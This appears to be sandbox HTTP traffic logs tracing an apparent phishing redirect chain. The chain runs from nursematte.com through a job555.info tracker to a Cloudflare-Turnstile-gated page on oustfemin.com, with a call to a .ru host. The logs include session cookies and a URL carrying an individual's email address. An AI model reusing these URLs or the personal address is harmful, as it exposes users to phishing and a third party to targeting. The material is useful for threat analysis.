Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8b7bbf6dd949c43b/1724422877786/uHR2yhc274LAQhN HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1951288111:1724419459:8EAu7ulGDYQ-Xpuv-Cm2AsntVJVkYdoyTkwZrlqscxg/8b7bbf6dd949c43b/76b287cdb3503ee HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RGfvLSaw8nkh3GL&MD=kE83BM7R HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1951288111:1724419459:8EAu7ulGDYQ-Xpuv-Cm2AsntVJVkYdoyTkwZrlqscxg/8b7bbf6dd949c43b/76b287cdb3503ee HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/rc/8b7bbf6dd949c43b HTTP/1.1Host: nursematte.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /st-manager/click/track?id=3834&type=raw&url=https://4qUQE.oustfemin.com/rqMByta/ HTTP/1.1Host: job555.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://nursematte.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rqMByta/ HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://nursematte.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://4quqe.oustfemin.com/rqMByta/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InZXZXV4NlBjYWxYYm4vVFVmaE5WTGc9PSIsInZhbHVlIjoiWS9MenhTek9wckNENUczaUlEWGNkRW5IdG9mNTQrVGlpRzNjWmg5SDBaQWVHYVRPTk43VDdPbUg1aWYzd1Z3NjFYNW0zVEExVW8ydkJxcFMya2c0TEpUeGRBZzRUZzJrbjBIcG5JbTF0R1dWd016U0ZpY1ljNDlqeTNmVHRpcVEiLCJtYWMiOiI4ODJlYWFhMzk0OWI1NmU4ZDY0YjNjNGU2MTQ3MWJlZjdkYTAyMjFhMjNhZGZlNTI4NTlhNzUwZjYwMTVjODBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpKdjl4ZWFUaFRWZmN6TGZSUzl4TVE9PSIsInZhbHVlIjoiaVFFWng5RGtqc3ZQVVAremxtVW5Ya1lDWENFaEJwTjlnYlZzN1E3bkoxVzYvckJ0N3dLemVhQTFubHZpa0xzOTU0VlVHS205b1dxbWVJWGs3eGV0eHF5eXRSOEE5SEl1dDE5amwxKzNJVldlU3pRWnNmaGdzYTliY3MxUS9ycXAiLCJtYWMiOiIzZGE0YTA4ZmI0Y2Y5YThkNTM0ODhmYTdjYzE3OTc5NDA4OWJlNjg5NDQ1NjFhODk0NTYzMTNiYTJmNDU1MzQ3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /hqtlhlhgofxpicicmzlgtkyBdEPfIiOdJMZFAYIOOZGVZLDBZDBSWNPVDPCERSCEYHHPFRBXCVW HTTP/1.1Host: n9mq.selinsvi.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://4quqe.oustfemin.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://4quqe.oustfemin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://4quqe.oustfemin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://4quqe.oustfemin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hqtlhlhgofxpicicmzlgtkyBdEPfIiOdJMZFAYIOOZGVZLDBZDBSWNPVDPCERSCEYHHPFRBXCVW HTTP/1.1Host: n9mq.selinsvi.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://4quqe.oustfemin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/6790c32b9fc9/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://4quqe.oustfemin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1om3v/0x4AAAAAAAfhdrrbQvZ6Zzfj/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://4quqe.oustfemin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8b7bc004eb3a7c8d&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1om3v/0x4AAAAAAAfhdrrbQvZ6Zzfj/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1om3v/0x4AAAAAAAfhdrrbQvZ6Zzfj/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8b7bc004eb3a7c8d&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/156047045:1724419407:L14tzDEDOBSKZ0TNeCHO3Q3o5larWtN6C36-ljdYwrk/8b7bc004eb3a7c8d/84b778c4aabe3e2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8b7bc004eb3a7c8d/1724422899198/k6wQePlMUzTyxyC HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1om3v/0x4AAAAAAAfhdrrbQvZ6Zzfj/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8b7bc004eb3a7c8d/1724422899198/3b740ba5a6e481ffff0c374824e1290e0926f7873444175f19b942168e98c5f5/owvsfoOHmUXYzHq HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1om3v/0x4AAAAAAAfhdrrbQvZ6Zzfj/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8b7bc004eb3a7c8d/1724422899198/k6wQePlMUzTyxyC HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/156047045:1724419407:L14tzDEDOBSKZ0TNeCHO3Q3o5larWtN6C36-ljdYwrk/8b7bc004eb3a7c8d/84b778c4aabe3e2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/156047045:1724419407:L14tzDEDOBSKZ0TNeCHO3Q3o5larWtN6C36-ljdYwrk/8b7bc004eb3a7c8d/84b778c4aabe3e2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rqMByta/ HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://4quqe.oustfemin.com/rqMByta/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlEwdTNlNmdidmtDazhUc21jMXl1NEE9PSIsInZhbHVlIjoiSnp2c3lQK0tQQ1F4alkyS3A0VXQxa21zenh5UmRXakQwYnVFT0k0aVZneThjWTFUazd6MzRBaVl3U3JMdTI1S3dsRkJyZit5TVdqdzFwUFlMZHdqTUt0anE3RjRJaEZlVTFTVkNzbWhTY2ZQbHdrWDJ4NnROUEdyVFY1T1YxUHQiLCJtYWMiOiIyM2E4NGFjMGE2MmY1NDBiNTM0YzY3OWExNWEzNjg5ZTAzNzZlZGJmOGMxOGFlZDg3OTE5Y2QzNmZhMWRhY2M4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRDME9aMXMwM3dJRlNrSEhpREk0ZkE9PSIsInZhbHVlIjoiS1ZUWWVXMmpidVNNKzZLeWxGMGgzWDBkalNpK1BGYTJ3ZTRrZEpmeWVuTHdKTHNVZkxyRVJhTmZISmNmUjc3ZFpRTzA2a0pBN3QyVU1OWGxJS0NKdk1zZE5QRHluWnFMSUMvaWFCR2FqQUJOSnJYdnJ0VkZ5dFVBT0tOMHdwU3kiLCJtYWMiOiIxZGQ0ODVlNGVlMTBjMjdmZTY2Y2VlZmViMjdlODMwMTc5MmZiODQwMzQ2NWQwNTkxMTgxNTcxN2U3OTkyM2Y3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rixZQ7i49HVQDFkT2K9BP2jQTFXOnXx5i81o7o HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlEwdTNlNmdidmtDazhUc21jMXl1NEE9PSIsInZhbHVlIjoiSnp2c3lQK0tQQ1F4alkyS3A0VXQxa21zenh5UmRXakQwYnVFT0k0aVZneThjWTFUazd6MzRBaVl3U3JMdTI1S3dsRkJyZit5TVdqdzFwUFlMZHdqTUt0anE3RjRJaEZlVTFTVkNzbWhTY2ZQbHdrWDJ4NnROUEdyVFY1T1YxUHQiLCJtYWMiOiIyM2E4NGFjMGE2MmY1NDBiNTM0YzY3OWExNWEzNjg5ZTAzNzZlZGJmOGMxOGFlZDg3OTE5Y2QzNmZhMWRhY2M4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRDME9aMXMwM3dJRlNrSEhpREk0ZkE9PSIsInZhbHVlIjoiS1ZUWWVXMmpidVNNKzZLeWxGMGgzWDBkalNpK1BGYTJ3ZTRrZEpmeWVuTHdKTHNVZkxyRVJhTmZISmNmUjc3ZFpRTzA2a0pBN3QyVU1OWGxJS0NKdk1zZE5QRHluWnFMSUMvaWFCR2FqQUJOSnJYdnJ0VkZ5dFVBT0tOMHdwU3kiLCJtYWMiOiIxZGQ0ODVlNGVlMTBjMjdmZTY2Y2VlZmViMjdlODMwMTc5MmZiODQwMzQ2NWQwNTkxMTgxNTcxN2U3OTkyM2Y3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rqMByta/?PMKirsten.stevens@sueryder.org HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://4quqe.oustfemin.com/rqMByta/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdHMk5JVWw2VERubTFqR1k5M2dBTmc9PSIsInZhbHVlIjoibEFacGZkMGNib3lwRlAvSDl1TnNnZ3ZoWEdqVmRicnZwQUVabHZFeFM1Smxva013OUxCTUE2d3lQbWUzL0ZrWWErbUxQSmN4YTFValpJVnhlTi9lTnd4SWlYR2RhaFJkYkJSUTA0eCt6ZWozc0Q5VU1RcXBMeE1ZSFZETE1QN2QiLCJtYWMiOiJjZDYwMjgyMTgwMTRlYTdjMTM4ZDU5ZTEwZWMxMDQxZjExMTAyZDIzODA1YzY5ZmY3MTViMzMxZDEyZGZlYjQwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJoK0EvUDlqN3ZMOVlTSk4vTFZGK2c9PSIsInZhbHVlIjoiZERZclR6YnZFRFpGbzBsWkpOemtScWtTclpIWktHTEhlbnMvUzVSY0pkbTd2RklwM0p5cU93ZUhaTUFNVy9zUE5CNThYTmNDT21RdHRIZ0I4M3Z2S3lEMGxYWmtVeTZKWUt3aU0zeUZwbVJRcUFaV3FCQWFZb3lKckVWZWd2anMiLCJtYWMiOiJhOTkxNTllYTBkMzQ0N2U2OGFkNGJlOTU3YWYxOGZjMTZmNjQzN2YwNmEyYWRkZTdiZjkxN2M5ZGMyODUxMmMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://4quqe.oustfemin.com/rqMByta/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Inc0VzR3SEVOU05WRG42QXlWRFR2c2c9PSIsInZhbHVlIjoiakhJS3lOeWVCU2lLZ2ZObU1EdFNiY1NQc0dTQ1Z6Z2oybE1xRDJDNHpTVnhIYXA0ZUtBb2YvZjE4ck9wclFhak00aURHRFUwbWFTU054dXhoOUpWRzR2L2RVSjZ0RW1PTUhVNHVicDE3UlF1U1g4SzF6ZWdBc09xaWw1R3BkYlciLCJtYWMiOiJlYThmZmE1NmRmNjc5Y2EwODNhZTUzMTg0ZGNiZGFkY2U4ZTRiMTkxZTA2OTEyMTg3ZTkxMTI5MjQwMjY3M2Q1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilc0SVdBRWtzQjc0ZnBRZVEvUUFiY0E9PSIsInZhbHVlIjoiQ2NaY296L3Rla0RxYis5alNRRjNJdmY1U2g5RmI3ejRuMGYwUk9GNHh6L3E1Zjh4QmpDN1RXNFpncjNHaUxKQUxzOUhRYk40bDdGb1doalZhUmppTko1WDFnd3VUNUVFRU9HSmhLb0pjT3Mwa28xT3ZKazI5a1I5TEpDdkl2dVAiLCJtYWMiOiJlZjViZjU5ZWI5ZjhmZGIxNzdkZmYzYzc1MjY5M2Y5YmY3ZThjNjUxNzdiZDMxODgxNzFhYTVkNTM3MTA3ZTVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /12euAqDcdlIORfF6720 HTTP/1.1Host: 4quqe.oustfemin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0dAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 